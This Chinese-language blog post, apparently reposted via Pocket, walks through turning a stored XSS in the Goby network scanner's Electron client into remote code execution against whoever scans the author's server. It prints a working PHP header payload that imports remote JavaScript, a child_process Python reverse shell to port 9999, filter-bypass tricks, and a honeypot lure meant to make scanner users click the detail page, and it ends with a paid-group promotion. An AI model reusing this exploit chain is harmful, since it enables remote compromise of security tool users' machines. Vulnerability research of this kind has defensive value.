Closed qiwihui closed 3 years ago
最近事情比较多一直没有沉下心来做个啥玩意出来,写文章,太浅了不好意思发,太深了涉及利益又不能发,思来想去,搞点反制玩玩吧。老早就想搞搞反制,之前想搞awvs,但是看了几秒钟发现太难了就没继续了,下午想试试goby吧。
大家都知道我没有windows,所以我的goby也是mac版本,特意更新到最新版本如下图:
接下来先踩踩点,打开/Applications/Goby.app
,众所周知app就是一个文件夹,所以我们在终端进入到文件夹
因为是electron开发的,所以这里有个app.asar,这个玩意可以直接解出js代码 asar e app.asar builddist
解出来的js代码就在builddist目录里了。我们进入到这个目录随便看看
随便搜一搜,比如搜exec
搜搜execSync
这个scan.js
可以看到做了一些简单的混淆 不过无所谓,我懒得看,关掉它 看看那个render.js
可以看到是一个有90000行的js文件,里面主要的渲染页面啥的都在这里,我看不懂,但我很震撼。
接下来怎么办?
无所谓,关掉它。
上面大概搜了搜,感觉告诉我可以放一放,直接命令注入是不好弄的,那么走xss这条路行不行?答案是可以的。我们随便搭建一个http让goby扫一下看看整体交互展示:
可以看到这扫描首页几乎所有的信息都是固定的,要么不可控,要么就是字典写死的,想要在这里直接xss有点难度,那么详情页面如何?我们点击上图的红圈,跳到单ip详情页面。
可以看到上图我圈中的地方,他展示了一个php的版本信息,php这个vendor是写死的,那么后面的版本号呢?我们做做实验
我们把返回的header改一改,版本号的地方插入一个h1标签,重复上面的扫描再看看。启动php的httpserver,扫描完毕后进入详情页面:
这里可以看到,字体变大了,这直接说明了可以插入一些标签,运气好的话直接XSS,我试过script标签似乎无效,所以我改成了img标签。
这里我插入了<img src="x" onerror="alert(1);">
真奇怪没生效,我点击这个方框,跳到下面这个页面
这里透露了一些信息,似乎是被截断了,感觉告诉我是空格,于是我把空格替换成了tab,再试一下
成了,XSS了。
可是这里有个问题,就是一个jb小子必须点到详情里才能触发XSS,那么我们怎么让他大概率点进来呢?很简单,我们把我们的服务器做成蜜罐,做成靶机,让他一扫描我们的服务器就能看到一大堆漏洞,端口开放的最多,漏洞最多,我们的ip就会排在首页的第一,是个人都会点进来,甚至都不会等到扫描完毕!然后我这里也把服务器特地加载80端口进行返回,因为80端口很常规也很小,详情排序里也是排第一,所以点进去就会xss避免其他意外。
0x03 XSS到RCE
既然有了XSS又同时是electron那么我们很容易想到以前的蚁剑XSS到RCE,可以看看这个(https://www.uedbox.com/post/54188/) 很显然的使用:
require('child_process').exec('xxxxxxx');
应该就可以直接rce了。但实际上并不行,经过了N次的测试,归纳一下主要是有什么问题:
过滤了空格,标签里可以用tab来规避但是js代码里并不太行
大写字母全部转换成小写,因此任何方法有大写字母的一律不行
冒号也会截断
'-'也不行 大写字母和空格的问题直接导致了常规的空格替代方案都不太行,比如:
${IFS} //不行,IFS必须大写,小写不生效{'ls','-a'} //这个形式看起来应该可以,但是不知道为什么不成功
当然在exec里我尝试了很多,不止上面这些,有些不太记得了就不说了。这里我陷入了一个误区,命令注入逃逸习惯了后一直纠结如何在exec里逃逸,却忘了我能插入js代码,因此下面这个形式一开始我以为应该就可以了
然而试了不行,仔细一看,草,execFile,又一个大写。
最后想起来可以引入远程js的形式来操作。
那么最后就变成了这样:
goby扫描我
php的服务返回一个header插入xss引用远程js文件
远程js文件里插入完整的执行代码
jb小子点击详情触发xss,最后rce
思路整理完了,然后就是构造了 php的index.php文件内容如下
<?phpheader("X-Powered-By: PHP/<img src=\"x\" onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");?>
这里用%3A的转换来代替冒号,是Camaro师傅教我的(原谅我太垃圾),准备好完整的test2.js文件如下:
(function(){require('child_process').exec('open /System/Applications/Calculator.app');require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');})();
这里弹了一个计算器又弹了一个py反弹shell到本地的9999端口,最后在9999端口用nc监听即可,这里还有个小坑点就是js文件在goby客户端的chrome里如果同名只会第一次去请求后面就缓存起来了,在测试的时候如果反复改js文件却发现没有效果,没想到缓存的话可能会自闭。现在我们启动php服务
sudo php -S 127.0.0.1:80 -F index.php
打开goby开始扫描->IP详情->XSS->RCE 完成了。
其实我从打开goby到XSS大概就花了半小时,主要时间花费在规避一些过滤和小细节问题上。群友也帮了我很多,学到了很多shell下规避空格等限制的技巧,还是蛮牛逼的就不在这里写了。其次我想说的是,很多人找漏洞,思路可能不清晰,就比如我开头写的从js文件里看,如果换成普通人可能就拼命审计,又臭又长,花费了很长时间看可能也挖不到一个洞。那么为什么我当机立断转到黑盒呢?原因很简单,我们能想象到的反制RCE,无非就两个,一个是命令注入,一个就是XSS到RCE。我打开js代码随便搜了一下exec,第一时间感觉没多少地方可以碰到,就立马放弃。思路直接转到XSS上,那么在哪里找XSS呢?很简单,打开页面跟着交互走,哪里出现我可能可以控制的内容就去测试哪里。所以很快的我就找到了XSS的点,接下来就是RCE的事情了。我相信大家看完后仔细挖掘一下,还有很多可能性,我这个是1click,就直接放出来了,大家照着这个思路去挖掘,很快r1就要加班啦~ (我已经想到更多的点了)
欢迎各位扫码加入我的知识星球《赛博回忆录》,我会在星球里分享更多有趣的技巧和随想。
微信号 cybermemory 功能介绍 本公众号主要关注泛安全类的赛博技术,IOT、人工智能、web攻防、内网渗透、安全建设等等,奇奇怪怪的东西也很多,期待各位有技术热情的朋友们一起加入交流。官方知识星球名称为:赛博回忆录 0x0
Tags: security
via Pocket https://ift.tt/3xHDtvN original site
August 13, 2021 at 09:41AM